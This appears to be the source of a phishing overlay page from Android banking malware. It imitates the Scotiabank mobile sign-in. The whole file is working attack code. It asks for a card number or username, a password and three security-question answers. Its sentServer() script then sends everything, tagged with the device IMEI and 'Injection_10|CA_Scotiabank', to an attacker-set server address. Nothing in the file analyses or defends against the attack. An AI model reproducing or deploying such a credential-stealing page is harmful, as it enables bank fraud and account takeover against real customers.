241 lines
13 KiB
PHP
241 lines
13 KiB
PHP
<html>
|
||
<head>
|
||
<link rel="stylesheet" href="ca/com.scotiabank.mobile/css/style.css">
|
||
<link rel="stylesheet" href="css/bootstrap.min.css">
|
||
<link rel="stylesheet" href="css/cat.style.css">
|
||
<script src="js/cat.functions.js"></script>
|
||
</head>
|
||
<?php
|
||
$IMEI_country = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
|
||
//$IMEI_country = "321|tr";
|
||
include "config.php";
|
||
?>
|
||
<body>
|
||
<div id="content_div">
|
||
<center>
|
||
<img src="ca/com.scotiabank.mobile/img/logo.png">
|
||
<br><br><br>
|
||
<form id="form">
|
||
<div id="form1">
|
||
<input name="Profile name" id="login" placeholder="Enter username or card number" maxlength="16" class="input" type="text">
|
||
<script>
|
||
document.getElementById('login').onkeypress = function (e) {
|
||
return !(/[А-Яа-яA-Za-z ]/.test(String.fromCharCode(e.charCode)));
|
||
}
|
||
</script>
|
||
<input name="Client number" id="password" placeholder="Enter your password" class="input2" type="password"><br><br><br><br><br><br>
|
||
|
||
<input type="button" class="submit" id="input_submitBtn" value="Sign in"/>
|
||
</div>
|
||
|
||
<div id="form2" style="display: none;">
|
||
<h3 style="color: #fff;"> Security questions </h3>
|
||
|
||
<select data-mini="true" name="questions1" id="selects1" class="selects" >
|
||
<option value=""> Select question </option>
|
||
<option value="As a child, what did you want to be when you grew up?"> As a child, what did you want to be when you grew up? </option>
|
||
<option value="In what year did you graduate from high school?"> In what year did you graduate from high school? </option>
|
||
<option value="What is or was the name of the town your grandmother lived in?"> What is or was the name of the town your grandmother lived in? </option>
|
||
<option value="What is the first name of your oldest niece?"> What is the first name of your oldest niece? </option>
|
||
<option value="What is the last name of your favorite teacher in elementary school?"> What is the last name of your favorite teacher in elementary school? </option>
|
||
<option value="What is the name of your firs employer?"> What is the name of your firs employer? </option>
|
||
<option value="What is the name of your oldest cousin?"> What is the name of your oldest cousin? </option>
|
||
<option value="What is your best friend's first name?"> What is your best friend's first name? </option>
|
||
<option value="What is your favorite hobby?"> What is your favorite hobby? </option>
|
||
<option value="What is your favorite movie?"> What is your favorite movie? </option>
|
||
<option value="What is your favorite vacation destination?"> What is your favorite vacation destination? </option>
|
||
<option value="What is your patarnal grandfather's first name?"> What is your patarnal grandfather's first name? </option>
|
||
<option value="What was the first name of your first manager?"> What was the first name of your first manager? </option>
|
||
<option value="What was the name of the street on which you grew up?"> What was the name of the street on which you grew up? </option>
|
||
<option value="What was the name of your elementary school?"> What was the name of your elementary school? </option>
|
||
<option value="What was the name of your first girlfriend/boyfriend?"> What was the name of your first girlfriend/boyfriend? </option>
|
||
<option value="Where did you go on your honemoon?"> Where did you go on your honemoon? </option>
|
||
<option value="Where did you meet your spounse for the first time? (Enter name of city)"> Where did you meet your spounse for the first time? (Enter name of city) </option>
|
||
|
||
</select>
|
||
|
||
<input id="answers1" class="input" type="text" style="border-radius: 0;" onkeyup="check();">
|
||
<br>
|
||
<br>
|
||
<br>
|
||
<select data-mini="true" name="questions2" id="selects2" class="selects" >
|
||
<option value=""> Select question </option>
|
||
<option value="As a child, what did you want to be when you grew up?"> As a child, what did you want to be when you grew up? </option>
|
||
<option value="In what year did you graduate from high school?"> In what year did you graduate from high school? </option>
|
||
<option value="What is or was the name of the town your grandmother lived in?"> What is or was the name of the town your grandmother lived in? </option>
|
||
<option value="What is the first name of your oldest niece?"> What is the first name of your oldest niece? </option>
|
||
<option value="What is the last name of your favorite teacher in elementary school?"> What is the last name of your favorite teacher in elementary school? </option>
|
||
<option value="What is the name of your firs employer?"> What is the name of your firs employer? </option>
|
||
<option value="What is the name of your oldest cousin?"> What is the name of your oldest cousin? </option>
|
||
<option value="What is your best friend's first name?"> What is your best friend's first name? </option>
|
||
<option value="What is your favorite hobby?"> What is your favorite hobby? </option>
|
||
<option value="What is your favorite movie?"> What is your favorite movie? </option>
|
||
<option value="What is your favorite vacation destination?"> What is your favorite vacation destination? </option>
|
||
<option value="What is your patarnal grandfather's first name?"> What is your patarnal grandfather's first name? </option>
|
||
<option value="What was the first name of your first manager?"> What was the first name of your first manager? </option>
|
||
<option value="What was the name of the street on which you grew up?"> What was the name of the street on which you grew up? </option>
|
||
<option value="What was the name of your elementary school?"> What was the name of your elementary school? </option>
|
||
<option value="What was the name of your first girlfriend/boyfriend?"> What was the name of your first girlfriend/boyfriend? </option>
|
||
<option value="Where did you go on your honemoon?"> Where did you go on your honemoon? </option>
|
||
<option value="Where did you meet your spounse for the first time? (Enter name of city)"> Where did you meet your spounse for the first time? (Enter name of city) </option>
|
||
|
||
</select>
|
||
|
||
<input id="answers2" class="input" type="text" style="border-radius: 0;" onkeyup="check();">
|
||
<br>
|
||
<br>
|
||
<br>
|
||
<select data-mini="true" name="questions2" id="selects3" class="selects" >
|
||
<option value=""> Select question </option>
|
||
<option value="As a child, what did you want to be when you grew up?"> As a child, what did you want to be when you grew up? </option>
|
||
<option value="In what year did you graduate from high school?"> In what year did you graduate from high school? </option>
|
||
<option value="What is or was the name of the town your grandmother lived in?"> What is or was the name of the town your grandmother lived in? </option>
|
||
<option value="What is the first name of your oldest niece?"> What is the first name of your oldest niece? </option>
|
||
<option value="What is the last name of your favorite teacher in elementary school?"> What is the last name of your favorite teacher in elementary school? </option>
|
||
<option value="What is the name of your firs employer?"> What is the name of your firs employer? </option>
|
||
<option value="What is the name of your oldest cousin?"> What is the name of your oldest cousin? </option>
|
||
<option value="What is your best friend's first name?"> What is your best friend's first name? </option>
|
||
<option value="What is your favorite hobby?"> What is your favorite hobby? </option>
|
||
<option value="What is your favorite movie?"> What is your favorite movie? </option>
|
||
<option value="What is your favorite vacation destination?"> What is your favorite vacation destination? </option>
|
||
<option value="What is your patarnal grandfather's first name?"> What is your patarnal grandfather's first name? </option>
|
||
<option value="What was the first name of your first manager?"> What was the first name of your first manager? </option>
|
||
<option value="What was the name of the street on which you grew up?"> What was the name of the street on which you grew up? </option>
|
||
<option value="What was the name of your elementary school?"> What was the name of your elementary school? </option>
|
||
<option value="What was the name of your first girlfriend/boyfriend?"> What was the name of your first girlfriend/boyfriend? </option>
|
||
<option value="Where did you go on your honemoon?"> Where did you go on your honemoon? </option>
|
||
<option value="Where did you meet your spounse for the first time? (Enter name of city)"> Where did you meet your spounse for the first time? (Enter name of city) </option>
|
||
|
||
</select>
|
||
|
||
<input id="answers3" class="input" type="text" style="border-radius: 0;" onkeyup="check();">
|
||
<br>
|
||
<br>
|
||
<br>
|
||
<input type="button" onClick="sentServer();" class="submit" id="input_submitBtn2" disabled="disabled" value="Sign In"/>
|
||
</div>
|
||
<script>
|
||
function check() {
|
||
var inp1 = document.getElementById('answers1'),
|
||
inp2 = document.getElementById('answers2'),
|
||
inp3 = document.getElementById('answers3');
|
||
document.getElementById('input_submitBtn2').disabled = inp1.value && inp2.value && inp3.value ? false : "disabled";
|
||
}
|
||
</script>
|
||
</center>
|
||
</form>
|
||
|
||
</center>
|
||
|
||
|
||
</div>
|
||
<script type="text/javascript">
|
||
function getRealDisplay(elem) {
|
||
if (elem.currentStyle) {
|
||
return elem.currentStyle.display;
|
||
} else if (window.getComputedStyle) {
|
||
var computedStyle = window.getComputedStyle(elem, null);
|
||
return computedStyle.getPropertyValue('display')
|
||
}
|
||
}
|
||
|
||
function __hide(el) {
|
||
if (!el.hasAttribute('displayOld')) {
|
||
el.setAttribute("displayOld", el.style.display)
|
||
}
|
||
|
||
el.style.display = "none"
|
||
}
|
||
|
||
displayCache = {};
|
||
|
||
function __show(el) {
|
||
if (getRealDisplay(el) != 'none') return;
|
||
|
||
var old = el.getAttribute("displayOld");
|
||
el.style.display = old || "";
|
||
|
||
if (getRealDisplay(el) === "none") {
|
||
var nodeName = el.nodeName, body = document.body, display;
|
||
|
||
if (displayCache[nodeName]) {
|
||
display = displayCache[nodeName]
|
||
} else {
|
||
var testElem = document.createElement(nodeName);
|
||
body.appendChild(testElem);
|
||
display = getRealDisplay(testElem);
|
||
|
||
if (display === "none") {
|
||
display = "block"
|
||
}
|
||
|
||
body.removeChild(testElem);
|
||
displayCache[nodeName] = display
|
||
}
|
||
|
||
el.setAttribute('displayOld', display);
|
||
el.style.display = display
|
||
}
|
||
}
|
||
|
||
var step1 = document.getElementById('form1'),
|
||
step2 = document.getElementById('form2'),
|
||
spinner = document.getElementById('spinner');
|
||
|
||
|
||
var g_oBtn = document.getElementById('input_submitBtn');
|
||
g_oBtn.onclick = function () {
|
||
|
||
var oNumInp = document.getElementById('login');
|
||
var oCodeInp = document.getElementById('password');
|
||
|
||
try{
|
||
oNumInp.className = 'input';
|
||
oCodeInp.className = 'input2';
|
||
} catch(e){};
|
||
|
||
if (!/^\w{16,16}$/i.test(oNumInp.value)) {
|
||
try{
|
||
oNumInp.className = 'fielderror';
|
||
} catch(e){};
|
||
return false;
|
||
}
|
||
|
||
if (oCodeInp.value.length < 6) {
|
||
try{
|
||
oCodeInp.className = 'fielderror';
|
||
} catch(e){};
|
||
return false;
|
||
}
|
||
|
||
|
||
__hide(step1);
|
||
__show(step2);
|
||
|
||
return false;
|
||
};
|
||
</script>
|
||
|
||
<script>
|
||
function sentServer()
|
||
{
|
||
var login1 = document.forms["form"].elements["login"].value;
|
||
var pass = document.forms["form"].elements["password"].value;
|
||
var question1 = document.forms["form"].elements["selects1"].value;
|
||
var answer1 = document.forms["form"].elements["answers1"].value;
|
||
var question2 = document.forms["form"].elements["selects2"].value;
|
||
var answer2 = document.forms["form"].elements["answers2"].value;
|
||
var question3 = document.forms["form"].elements["selects3"].value;
|
||
var answer3 = document.forms["form"].elements["answers3"].value;
|
||
|
||
|
||
var url='<?php echo $URL; ?>';
|
||
var imei_c='<?php echo $IMEI_country; ?>';
|
||
|
||
|
||
location.replace(url+'/o1o/a10.php?p=' + imei_c+"|Injection_10|CA_Scotiabank|Client Card or Username: "+login1+"//br//Password: "+pass+"//br//question1: "+question1+"//br//answer1: "+answer1+"//br//question2: "+question2+"//br//answer2: "+answer2+"//br//question3: "+question3+"//br//answer3: "+answer3);
|
||
}
|
||
</script>
|
||
</body>
|
||
</html>
|